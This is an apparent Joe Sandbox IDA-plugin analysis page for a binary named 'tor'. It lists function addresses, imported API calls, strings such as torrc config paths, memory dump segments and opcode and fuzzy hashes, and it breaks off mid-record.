Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortfree
String ID: . Top reasons:
API String ID: 1422701266-1172331115
Opcode ID: 83b2055d41dc7cc9884d539951042ca1215575958e5687dd0ab5ea4d8caae633
Instruction ID: aeaf11acb3f3413ea1157d83c7d0a1fed08116e61e3a8dcdfcd466f56d3b45d2
Opcode Fuzzy Hash: 83b2055d41dc7cc9884d539951042ca1215575958e5687dd0ab5ea4d8caae633
Instruction Fuzzy Hash: 90717EB4E04609DFCB41DFA9D580A9EBBF5FF58304F10886AE858AB361D734A941CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0157AF89 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 151COMMON

Download Yara Rule

APIs

Part of subcall function 015813C9: ERR_peek_error.LIBEAY32 ref: 015813E5
Part of subcall function 015813C9: __stack_chk_fail.LIBSSP-0 ref: 0158145C

__stack_chk_fail.LIBSSP-0 ref: 0157B1BE

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559B4E: __stack_chk_fail.LIBSSP-0 ref: 01559D08

Part of subcall function 0157AE30: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,0157AEE3), ref: 0157AE73

abort.MSVCRT ref: 0157B18E

Strings

Y, xrefs: 0157B17E

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$R_peek_errorabort
String ID: Y
API String ID: 4147408387-3233089245
Opcode ID: 38eb184da4fc9992a53a9b1b1443991d79a35a1f3990d287dc7ef195aebe2804
Instruction ID: 02d6f6dd7c31d9be5a4df4bacbacfe0c9a4c7a285d367b3e87e1e06eb2016fdb
Opcode Fuzzy Hash: 38eb184da4fc9992a53a9b1b1443991d79a35a1f3990d287dc7ef195aebe2804
Instruction Fuzzy Hash: 5E61B7B4A0520ADFDB00DFA8D585AAEBBF1BF48314F508919E864EB340D734D944CF62

Uniqueness

Uniqueness Score: -1.00%

Function 01655D40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 01655DD0
VirtualProtect.KERNEL32 ref: 01655E18

Strings

@, xrefs: 01655E09

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: Virtual$ProtectQuery
String ID: @
API String ID: 1027372294-2766056989
Opcode ID: a5cb9ff65672809dd38422313cbe38648c9f33ec0a93ab2ba041071e985e1b4c
Instruction ID: 66896a33794d1fcca224248d4b762b58c1946552487998b7f6c64b2d023b6411
Opcode Fuzzy Hash: a5cb9ff65672809dd38422313cbe38648c9f33ec0a93ab2ba041071e985e1b4c
Instruction Fuzzy Hash: 75316DB29053019FD760DF69D98861ABBE1FB44264F45C62DED4997314E330F845CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 013B3455 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

time.MSVCRT ref: 013B34A0
__stack_chk_fail.LIBSSP-0 ref: 013B34D1

Part of subcall function 013B1870: abort.MSVCRT ref: 013B18DA
Part of subcall function 013B1870: __stack_chk_fail.LIBSSP-0 ref: 013B18ED

Part of subcall function 01411BAC: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,013B3476), ref: 01411BFC
Part of subcall function 01411BAC: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,013B3476), ref: 01411C38

Strings

src/or/main.c, xrefs: 013B3476

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abort$time
String ID: src/or/main.c
API String ID: 1103635081-685921598
Opcode ID: 3208881af69f6ffde6f132d4fc1ae976fdda87cc858c3dc7877b1ecb1ee6d7d6
Instruction ID: 7e1d634a3b241f65905713243ad54e9910847352ab7476b9ca35136e95473159
Opcode Fuzzy Hash: 3208881af69f6ffde6f132d4fc1ae976fdda87cc858c3dc7877b1ecb1ee6d7d6
Instruction Fuzzy Hash: 2F01E8B4A087229FCB51AFB8C48466EBBF4BF55204F41885DE5D4DB240E638D440CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01426596 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 01426613

Part of subcall function 014263F6: __stack_chk_fail.LIBSSP-0 ref: 0142658C

Part of subcall function 015562E9: __stack_chk_fail.LIBSSP-0 ref: 01556342

Strings

C:\Users\user\AppData\Roaming\tor\torrc-defaults, xrefs: 014265CB, 014265D7
C:\Users\user\AppData\Roaming\tor\torrc, xrefs: 014265F7, 01426603

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail
String ID: C:\Users\user\AppData\Roaming\tor\torrc$C:\Users\user\AppData\Roaming\tor\torrc-defaults
API String ID: 4216919130-3028526745
Opcode ID: e1e33a9e56685459277dfad09041e96dc2617aef1a74258d9e3bcd6485cee374
Instruction ID: ba057366f095e9b7405b450cb24d67cbc7968f1287b65683c35a06cffeeaf96a
Opcode Fuzzy Hash: e1e33a9e56685459277dfad09041e96dc2617aef1a74258d9e3bcd6485cee374
Instruction Fuzzy Hash: FAF069B09083559BCB51EFAEC54466EBBF0BB85310F81C82ED8858B310D674C580CF92

Uniqueness

Uniqueness Score: -1.00%

Function 01552035 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 01552164

Part of subcall function 01657980: strlen.MSVCRT ref: 0165799A
Part of subcall function 01657980: malloc.MSVCRT ref: 016579A6
Part of subcall function 01657980: strlen.MSVCRT ref: 016579B0
Part of subcall function 01657980: malloc.MSVCRT ref: 016579BC
Part of subcall function 01657980: free.MSVCRT ref: 01657A1C

Part of subcall function 01551E6A: __stack_chk_fail.LIBSSP-0 ref: 01551EEA

abort.MSVCRT ref: 015523C8
__stack_chk_fail.LIBSSP-0 ref: 015523E5

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabortmallocstrlen$free
String ID:
API String ID: 2096595788-0
Opcode ID: 106bcb70e1bcdb906d59eae1f9a1ebf5144b2a47e683b4ffa149e7aac5d5b48b
Instruction ID: ba355c558531d7afb22625c888cee2564ddcef1ed668344a9c5712a8864b1520
Opcode Fuzzy Hash: 106bcb70e1bcdb906d59eae1f9a1ebf5144b2a47e683b4ffa149e7aac5d5b48b
Instruction Fuzzy Hash: 0DA188B8906315CFCB60DF68C99865EBBF4BB48744F00C5AAE888D7340DB749A85CF52

Uniqueness

Uniqueness Score: -1.00%

Function 0155B597 Relevance: 4.6, APIs: 3, Instructions: 143COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 0155B7A9

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail
String ID:
API String ID: 4216919130-0
Opcode ID: 78e2f25717ba86f95eb58d9cc9d9a8a6794afe22c5d79034969422485dfb671a
Instruction ID: d307a7db72c7db0b54293680c414ac7502cc538939a988228bd8a59ae53f8445
Opcode Fuzzy Hash: 78e2f25717ba86f95eb58d9cc9d9a8a6794afe22c5d79034969422485dfb671a
Instruction Fuzzy Hash: 5851B5B4A05206CFDB44DFA8C598AAEFBF1BF48314F11895AE864EB351D738D841CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0155A5D7 Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0155A636
__stack_chk_fail.LIBSSP-0 ref: 0155A731

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 0155A679

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr
String ID:
API String ID: 2422377151-0
Opcode ID: 362f853bb8a5a78e7ac8cd9763216a22ab336c977bdd70a6fde2bb633145aec8
Instruction ID: 279d7c8bcf3429792a3b8106988116f213b6f0bf1163dc04e492799001da5505
Opcode Fuzzy Hash: 362f853bb8a5a78e7ac8cd9763216a22ab336c977bdd70a6fde2bb633145aec8
Instruction Fuzzy Hash: 1B414EB4A1421A8FCB44DFA9C5989AEFBF1BF48314B05C55AEC58AB311D738E841CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0155AAE7 Relevance: 4.6, APIs: 3, Instructions: 100COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0155B6CF), ref: 0155ABBB
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0155B6CF), ref: 0155AC3C

Part of subcall function 01559F02: abort.MSVCRT ref: 01559FC8
Part of subcall function 01559F02: memset.MSVCRT ref: 01559FE3
Part of subcall function 01559F02: __stack_chk_fail.LIBSSP-0 ref: 01559FF6

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0155B6CF), ref: 0155AC14

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abort$strrchr$memset
String ID:
API String ID: 1279798642-0
Opcode ID: daec7894e15e68e2559486ecf0e0a1a4bf293085ff6331d50d5bd815c50f8b02
Instruction ID: dee810d3e9589b8a4c830bae93e1d04c08d9c9c69b24bc73cd90edb342730d33
Opcode Fuzzy Hash: daec7894e15e68e2559486ecf0e0a1a4bf293085ff6331d50d5bd815c50f8b02
Instruction Fuzzy Hash: 9F4197B4A0420ACFCB44DFA9C4949AEBBF5BF48314F01895AEC949B311E778E941CF61

Uniqueness

Uniqueness Score: -1.00%

Function 01568DE0 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 01568EDD

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,01552014), ref: 01568E50
_write.MSVCRT ref: 01568EAC

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$_writeabort
String ID:
API String ID: 1790930388-0
Opcode ID: 8e2f5bece8a3116d0f8852753c1ff487cac6f07f2bb98667f70aaeb3f33b1641
Instruction ID: 160cffdd919a6eb2fc8c8731960028228be45904a9e0e532801a629dfa8473e6
Opcode Fuzzy Hash: 8e2f5bece8a3116d0f8852753c1ff487cac6f07f2bb98667f70aaeb3f33b1641
Instruction Fuzzy Hash: 1B31737490420A9FCF54DFA8C9846AEBBF5BF48314F108959E865E7340D734A944CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 01559F02 Relevance: 4.6, APIs: 3, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 01564401: abort.MSVCRT ref: 01564454
Part of subcall function 01564401: malloc.MSVCRT ref: 0156446C
Part of subcall function 01564401: exit.MSVCRT ref: 015644AD
Part of subcall function 01564401: __stack_chk_fail.LIBSSP-0 ref: 015644C0

abort.MSVCRT ref: 01559FC8
memset.MSVCRT ref: 01559FE3
__stack_chk_fail.LIBSSP-0 ref: 01559FF6

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr$exitmallocmemset
String ID:
API String ID: 1956349505-0
Opcode ID: 946700017064d02426dcac46d32b39d91fc70faa4fbd65381dc8c5e0e1e0ae3e
Instruction ID: 017a6047b320c34997d8f5b563f92d67275fe2baeebdfb8c305cbfe67923be53
Opcode Fuzzy Hash: 946700017064d02426dcac46d32b39d91fc70faa4fbd65381dc8c5e0e1e0ae3e
Instruction Fuzzy Hash: D431A2B4E0420ACFCB44DF98C485AAEBBF5BF48314F018459E954AB311D374E985CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0155CD8C Relevance: 4.5, APIs: 3, Instructions: 35COMMON

Download Yara Rule

APIs

free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,01553935), ref: 0155CDB7
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,01553935), ref: 0155CDD3
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,01553935), ref: 0155CDEF

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: free$__stack_chk_fail
String ID:
API String ID: 3445780955-0
Opcode ID: d35cf5ac2b0f55009fcee803d22d7b81a984e1588b372128f152908c42b9f8dd
Instruction ID: c689c1cda0a5c0fb2b689d994a84c60ba7ee61fd578a8cb806a2cd1fba6c9c90
